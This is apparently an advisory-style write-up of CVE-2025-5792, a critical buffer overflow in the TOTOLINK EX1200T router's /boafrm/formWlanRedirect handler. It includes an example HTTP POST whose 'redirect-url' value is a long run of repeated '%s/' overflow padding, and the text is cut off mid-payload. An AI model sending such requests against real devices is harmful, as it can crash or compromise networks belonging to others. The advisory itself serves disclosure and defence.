Overview
Recently, a critical vulnerability has been discovered in TOTOLINK EX1200T 4.1.2cu.5232_B20210713. This vulnerability, identified as CVE-2025-5792, is of significant concern due to its severity and the potential for remote execution. It directly affects the HTTP POST Request Handler, potentially compromising the system and leaking sensitive data. As IT professionals, network administrators, and security officers, understanding the implications of this vulnerability is critical to maintaining secure networks.
Vulnerability Summary
CVE ID: CVE-2025-5792
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
TOTOLINK EX1200T | 4.1.2cu.5232_B20210713
How the Exploit Works
The vulnerability exists in the HTTP POST Request Handler’s processing of the file /boafrm/formWlanRedirect. Through the manipulation of the ‘redirect-url’ argument, an attacker can cause a buffer overflow. This overflow condition provides the attacker with the ability to execute arbitrary code or disrupt the normal operation of the system, potentially leading to system compromise or data leakage.
Conceptual Example Code
An attacker could exploit this vulnerability by sending a malicious HTTP POST request to the targeted system. A conceptual example of such a request might look like this:
“`http
POST /boafrm/formWlanRedirect HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
redirect-url=http://%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%